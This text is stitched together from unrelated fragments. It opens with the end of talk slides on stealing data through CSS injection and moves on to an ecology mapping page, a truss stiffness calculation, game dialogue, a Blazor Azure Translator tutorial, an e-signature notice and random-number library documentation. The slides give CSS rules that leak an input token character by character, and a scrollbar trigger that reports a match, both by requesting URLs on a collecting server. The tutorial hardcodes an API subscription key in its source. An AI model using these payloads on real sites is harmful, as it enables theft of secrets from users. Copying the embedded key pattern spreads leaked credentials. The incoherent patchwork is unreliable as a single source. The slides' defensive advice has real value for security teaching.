unicode-range: U+0100-024F, U+1E00-1EFF, U+20A0-20AB, U+20AD-20CF, U+2C60-2C7F, U+A720-A7FF;
}
As a result
roboto-ext.woff2
will be downloaded only if there are latin-extended characters on the webpage
Why?
For performance.
Only download fonts (characters) you need.
i.e. subpages in English, Polish and Arabic
The plan:
- Find CSS injection possibility
- Generate CSS stylesheet
- Have one font-face per each character
This way you narrowed down characters for bruteforcing the token
(or for another attack)
But wait, there's more!
Selectors
Different scenario:
You want to steal a token from input's attribute?
There are several ways to do it.
I'll show you the simplest one.
#secret-token[value^=0] {
background-image: url(http://localhost:3001/token/0);
}
that + iframe + some node.js + refresh a few times =
PWND
Prevent from loading the app in iframes:
Header
X-Frame-Options: DENY
Ligatures
What is a ligature?
It's meant to be more readable and beautiful :)
CSS fonts can define ligatures
- dynamically create a font
- define all characters 0px wide
- define certain ligature to be 10000px wide
- any characters -> not visible
- certain combination of chars -> 10000px
- load the page inside an iframe
- add the CSS
- scrollbar in iframe = match
body::-webkit-scrollbar:horizontal {
background: url(http://localhost:3001/match);
}
- In this presentation I only injected CSS (never JS)
- We rarely think about securing our CSS
- CSS alone can be used for stealing data
Rules of thumb
- Think of making your CSS safe
(just like you do for JS)
- Disallow loading your app in iframes
What if the token is inside a
<script>
tag?
Thank you!


--- layout: page ---
We are now living in the anthropocene. The biodiversity of our planet faces unprecedented threats. Fortunately new developments in technology and data collection enable conservation scientists to attempt new approaches in addressing the situation. Historically there have been many attempts in creating atlases which contain information about the species locations. So far though those have been focused on mapping observation data only. The abundance of satellite data climate data can be combined with advances in machine learning to create “smarter” maps. Those maps take into account environmental data and create visualisations which are much more advanced and cover much larger areas even where observation data is missing. The current project aims to create such maps for endangered species.
SDM or Ecological Niche Modelling (how it is sometimes named), is a relatively new filled in computational biology. It allowed to take into account environmental data and species occurrence data to create maps of the potential habitat. Those models and maps can be used not only to map the niches of the species in question, but also estimate the effects of changed environmental conditions and predict invasive species distributions.
For almost all of the procedures the R package sdmench was used. For more information refer to the Github repository or the Journal of Open Source Software paper.
For this project the initial focus are European species. The species list is from the IUCN European Red List of Threatened Species.
The observation data is obtained from the Global Biodiversity Information Facility (GBIF).
The environmental data consists of the so called “bioclimatic” variables. Those are derived by experts from more general measurements. A detailed description is available on the Worldclim website.
For the "future" climate selection the CMIP5 climate model (50 years) was used.
For the first version of the atlas the Random Forest algorithm was used. This selection is based on the well known out-of-the box good performance on a variety of regression and classification tasks.


The first thing to note is that the vertical and horizontal bars do not play any role in this structure as their ends are fixed. Let's define for simplicity $k=2\sqrt{2}AE/L$. Applying the unit displacement method:
Hence the stiffness matrix is: $$ \mathbf{K}= k \begin{bmatrix} 1& 0 \\ 0 & 1 \end{bmatrix} $$
Since the engine can be represented as a point mass: $$ M = m\begin{bmatrix}1 & 0\\0 & 1\end{bmatrix} $$
Hence the equations of equilibrium are: $$m \begin{bmatrix}1 & 0\\0 & 1\end{bmatrix} \begin{bmatrix} \ddot{r_1} \\ \ddot{r_2} \end{bmatrix} + \frac{2\sqrt{2}EA}{\ell} \begin{bmatrix}1 & 0\\0 & 1\end{bmatrix} \begin{bmatrix} r_1 \\ r_2 \end{bmatrix} = \begin{bmatrix}R_1\\R_2\end{bmatrix} $$


Sir Gustav Athebaldt:
Finally, the Seal of Aspiration! Good work! Now you must take it to one of the grand masters. Show it to them and they will instruct you on how to strengthen your clan.


Introduction
In this article, we will create a multilanguage translator using Blazor and the Translate Text Azure Cognitive Service. This translator will be able to translate between all the languages supported by the Translate Text API. Currently, the Translate Text API supports more than 60 languages for translation. The application will accept the text to translate and the target language as the input and returns the translated text and the detected language for the input text as the output.
Take a look at the output shown below.
Prerequisites
- Install the latest .NET Core 3.1 SDK from https://dotnet.microsoft.com/download/dotnet-core/3.1
- Install the latest version of Visual Studio 2019 from https://visualstudio.microsoft.com/downloads/
- An Azure subscription account. You can create a free Azure account at https://azure.microsoft.com/en-in/free/
Source Code
You can get the source code from GitHub.
Create the Azure Translator Text Cognitive Services resource
Log in to the Azure portal and search for the cognitive services in the search bar and click on the result. Refer to the image shown below.
On the next screen, click on the Add button. It will open the cognitive services marketplace page. Search for the Translator Text in the search bar and click on the search result. It will open the Translator Text API page. Click on the Create button to create a new Translator Text resource. Refer to the image shown below.
On the Create page, fill in the details as indicated below.
- Name: Give a unique name for your resource.
- Subscription: Select the subscription type from the dropdown.
- Pricing tier: Select the pricing tier as per your choice.
- Resource group: Select an existing resource group or create a new one.
Click on the Create button. Refer to the image shown below.
After your resource is successfully deployed, click on the “Go to resource” button. You can see the Key and the endpoint for the newly created Computer Vision resource. Refer to the image shown below.
Make a note of the key, we will be using this in the latter part of this article to request the translations from the Translator Text API. The values are masked here for privacy.
Create a Server-Side Blazor Application
Open Visual Studio 2019, click on “Create a new project”. Select “Blazor App” and click on the “Next” button. Refer to the image shown below.
On the next window, put the project name as BlazorTranslator and click on the “Create” button. The next window will ask you to select the type of Blazor app. Select Blazor Server App and click on the Create button to create a new server-side Blazor application. Refer to the image shown below.
Create the Models
Right-click on the BlazorTranslator project and select Add » New Folder. Name the folder as Models. Again, right-click on the Models folder and select Add » Class to add a new class file. Put the name of your class as LanguageDetails.cs and click Add.
Open LanguageDetails.cs and put the following code inside it.
namespace BlazorTranslator.Models
{
public class LanguageDetails
{
public string Name { get; set; }
public string NativeName { get; set; }
public string Dir { get; set; }
}
}
Similarly, add a new class file TestResult.cs and put the following code inside it.
using System;
namespace BlazorTranslator.Models
{
public class TextResult
{
public string Text { get; set; }
public string Script { get; set; }
}
}
Add a new class file Translation.cs and put the following code inside it.
namespace BlazorTranslator.Models
{
public class Translation
{
public string Text { get; set; }
public TextResult Transliteration { get; set; }
public string To { get; set; }
}
}
Create a class file DetectedLanguage.cs and put the following code inside it.
namespace BlazorTranslator.Models
{
public class DetectedLanguage
{
public string Language { get; set; }
public float Score { get; set; }
}
}
Create a class file TranslationResult.cs and put the following code inside it.
namespace BlazorTranslator.Models
{
public class TranslationResult
{
public DetectedLanguage DetectedLanguage { get; set; }
public TextResult SourceText { get; set; }
public Translation[] Translations { get; set; }
}
}
Finally, create the class file AvailableLanguage.cs and put the following code inside it.
using System.Collections.Generic;
namespace BlazorTranslator.Models
{
public class AvailableLanguage
{
public Dictionary<string, LanguageDetails> Translation { get; set; }
}
}
Create the Translation service
Right-click on the BlazorTranslator/Data folder and select Add » Class to add a new class file. Put the name of the file as TranslationService.cs and click on Add. Open TranslationService.cs file and put the following code inside it.
using BlazorTranslator.Models;
using Newtonsoft.Json;
using System;
using System.Net.Http;
using System.Text;
using System.Threading.Tasks;
namespace BlazorTranslator.Data
{
public class TranslationService
{
private static readonly string location = "eastus";
public async Task<TranslationResult[]> GetTranslatation(string textToTranslate, string targetLanguage)
{
string subscriptionKey = "52937b775b454b65830ac59e5dc22d9d";
string apiEndpoint = "https://api.cognitive.microsofttranslator.com/";
string route = $"/translate?api-version=3.0&to={targetLanguage}";
string requestUri = apiEndpoint + route;
TranslationResult[] translationResult = await TranslateText(subscriptionKey, requestUri, textToTranslate);
return translationResult;
}
async Task<TranslationResult[]> TranslateText(string subscriptionKey, string requestUri, string inputText)
{
object[] body = new object[] { new { Text = inputText } };
var requestBody = JsonConvert.SerializeObject(body);
using (var client = new HttpClient())
using (var request = new HttpRequestMessage())
{
request.Method = HttpMethod.Post;
request.RequestUri = new Uri(requestUri);
request.Content = new StringContent(requestBody, Encoding.UTF8, "application/json");
request.Headers.Add("Ocp-Apim-Subscription-Key", subscriptionKey);
request.Headers.Add("Ocp-Apim-Subscription-Region", location);
HttpResponseMessage response = await client.SendAsync(request).ConfigureAwait(false);
string result = await response.Content.ReadAsStringAsync();
TranslationResult[] deserializedOutput = JsonConvert.DeserializeObject<TranslationResult[]>(result);
return deserializedOutput;
}
}
public async Task<AvailableLanguage> GetAvailableLanguages()
{
string endpoint = "https://api.cognitive.microsofttranslator.com/languages?api-version=3.0&scope=translation";
var client = new HttpClient();
using (var request = new HttpRequestMessage())
{
request.Method = HttpMethod.Get;
request.RequestUri = new Uri(endpoint);
var response = await client.SendAsync(request).ConfigureAwait(false);
string result = await response.Content.ReadAsStringAsync();
AvailableLanguage deserializedOutput = JsonConvert.DeserializeObject<AvailableLanguage>(result);
return deserializedOutput;
}
}
}
}
We have defined a GetTranslatation method which will accept two parameters – the text to translate and the target language. We will set the subscription key for the Azure Translator Text cognitive service and define a variable for the global endpoint for Translator Text. The request URL contains the API endpoint along with the target language.
Inside the TranslateText method, we will create a new HttpRequestMessage. This HTTP request is a Post request. We will pass the subscription key in the header of the request. The Translator Text API returns a JSON object, which will be deserialized to an array of type TranslationResult. The output contains the translated text as well as the language detected for the input text.
The GetAvailableLanguages method will return the list of all the language supported by the Translate Text API. We will set the request URI and create a HttpRequestMessage which will be a Get request. This request URL will return a JSON object which will be deserialized to an object of type AvailableLanguage.
Configuring the Service
To make the service available to the components we need to configure it on the server-side app. Open the Startup.cs file. Add the following line inside the ConfigureServices method of Startup class.
services.AddSingleton<TranslationService>();
Creating the Blazor UI Component
We will add the Razor page in the BlazorTranslator/Pages folder. By default, we have “Counter” and “Fetch Data” pages provided in our application. These default pages will not affect our application but for the sake of this tutorial, we will delete fetchdata and counter pages from BlazorTranslator/Pages folder.
Right-click on the BlazorTranslator/Pages folder and then select Add » New Item. An “Add New Item” dialog box will open, select “Visual C#” from the left panel, then select “Razor Component” from the templates panel, put the name as Translator.razor. Click Add. Refer to the image shown below.
We will add a code-behind file for this razor page to keep the code and presentation separate. This will allow easy maintenance for the application. Right-click on the BlazorComputerVision/Pages folder and then select Add » Class. Name the class as OCR.razor.cs. The Blazor framework is smart enough to tag this class file to the razor file. Refer to the image shown below.
Open the Translator.razor file and add the following code at the top.
@page "/translator"
@using BlazorTranslator.Models
@using BlazorTranslator.Data
@inject TranslationService translationService
We have defined the route for this component. We are also injecting the TranslationService in this component.
Now we will add the following HTML code in this file.

Multilanguage translator using Microsoft Translator API Cognitive Service

<select class="form-control" @bind="inputLanguage">
<option value="">-- Select input language --</option>
@foreach (KeyValuePair<string, LanguageDetails> lang in LanguageList)
{
<option value="<EMAIL_ADDRESS>}
</select>
<textarea placeholder="Enter text to translate" class="form-control translation-box" rows="5" @bind="@inputText"></textarea>

<select class="form-control" @onchange="SelectLanguage">
<option value="">-- Select target language --</option>
@foreach (KeyValuePair<string, LanguageDetails> lang in LanguageList)
{
<option value="<EMAIL_ADDRESS>}
</select>
<textarea disabled class="form-control translation-box" rows="5">@outputText</textarea>

<button class="btn btn-primary btn-lg" @onclick="Translate">Translate</button>

We have defined two dropdown lists one each for input language and the target language. The Azure Translate Text API will detect the input language and we will use that value to populate the dropdown for input language. We have also defined two text areas for the input and the translated text.
Finally, add the following code in the @code section of the page.
@code {
private TranslationResult[] translations;
private AvailableLanguage availableLanguages;
private string outputLanguage { get; set; }
private string inputLanguage { get; set; }
string inputText { get; set; }
string outputText { get; set; }
private Dictionary<string, LanguageDetails>
LanguageList = new Dictionary<string, LanguageDetails>();
protected override async Task OnInitializedAsync()
{
availableLanguages = await translationService.GetAvailableLanguages();
LanguageList = availableLanguages.Translation;
}
private void SelectLanguage(ChangeEventArgs langEvent)
{
this.outputLanguage = langEvent.Value.ToString();
}
private async Task Translate()
{
if (!string.IsNullOrEmpty(outputLanguage))
{
translations = await translationService.GetTranslatation(this.inputText, this.outputLanguage);
outputText = translations[0].Translations[0].Text;
inputLanguage = translations[0].DetectedLanguage.Language;
}
}
}
We are invoking the GetAvailableLanguages method from our service inside the OnInitializedAsync. This OnInitializedAsync is a lifecycle method that will be invoked upon component initialization. This will make sure that the language dropdown will be populated as the page loads.
The SelectLanguage method will be set the outputLanguage for the translation. The Translate method will invoke the GetTranslatation method from the service. We will set the outputText and the language detected for the inputLanguage as returned from the service.
Add styling for the Translator component
Navigate to BlazorTranslator\wwwroot\css\site.css file and put the following style definition inside it.
.translation-box {
margin: 15px 0px;
}
Adding Link to Navigation menu
The last step is to add the link of our Translator component in the navigation menu. Open BlazorTranslator/Shared/NavMenu.razor file and add the following code into it.

<NavLink class="nav-link" href="translator">
 Translator
</NavLink>

Remove the navigation links for Counter and Fetch-data components as they are not required for this application.
Execution Demo
Press F5 to launch the application. Click on the Translator button on the nav menu in the left. You can perform the multilanguage translation as shown in the image below.
Summary
We have created a Translator Text Cognitive Services resource on Azure. We have used the Translator Text API to create a multilanguage translator using Blazor. This translator supports more than 60 languages for translation. We fetched the list of supported languages for translation from the global API endpoint for Translator Text.
Get the Source code from GitHub and play around to get a better understanding.


Just like a traditional signature, this mark is used by CrossDottr to represent your intent to sign documents.You appear to be located in Denmark where electronic signatures are legally binding. Read more


The random_seq class is the interface for a random number generator. Its derived classes produce uniformly distributed pseudo-random numbers. The underlying random number stream is accessed with two methods. The method next_long returns a random number as an unsigned long. The method next_dlb refines the next_long method by reducing that random number to a double precision number in the interval . The random number sequence is initialized with the set_seed method, and the entire random number generator can be copied with the copy method. To summarize, the random_seq class has four virtual methods
void set_seed(unsigned long seed) double next_dbl() random_seq* copy() const unsigned long next_long()that must be implemented by any derived class.
Adevs comes with two implementations of the random_seq class: the crand class and the mtrand class. The crand class uses the rand function from the standard C library to implement the required methods. Its implementation is trivial. I've listed it below as an example of how to implement the random_seq interface.
class crand: public random_seq { public: /// Create a generator with the default seed crand(){} /// Create a generator with the given seed crand(unsigned long seed) { srand (seed); } /// Set the seed for the random number generator void set_seed(unsigned long seed) { srand (seed); } /// Get the next double uniformly distributed in [0, 1] double next_dbl() { return (double)rand()/(double)RAND_MAX; } /// Copy the random number generator unsigned long next_long() { return (unsigned long)rand(); } random_seq* copy() const { return new crand (); } /// Destructor ~crand(){} };
The mtrand class implements the Mersenne Twister random number generator12.1. This code is based on their open source implementation of the Mersenne Twister. Aside from its potential advantages as a random number generator, the mtrand class differs from the crand class by its ability to make deep copies. Every instance of the mtrand class has its own random number stream.
The rv class uses the uniform random numbers provided by a random_seq object to produce several different random number distributions: triangular, uniform, normal, exponential, lognormal, Poisson, Weibull, binomial, and many others. Every instance of the rv class is created with a random_seq. The default is an mtrand object, but any type of random_seq object can be passed to the rv constructor. The different random distributions are sampled by calling the appropriate method: triangular for a triangular distribution, exponential for an exponential distribution, poisson for a Poisson distribution, etc. Because Adevs is open source software, if a new distribution is needed then you can add a method that implements it to the rv class (and, I hope, contribute the expansion to the Adevs project).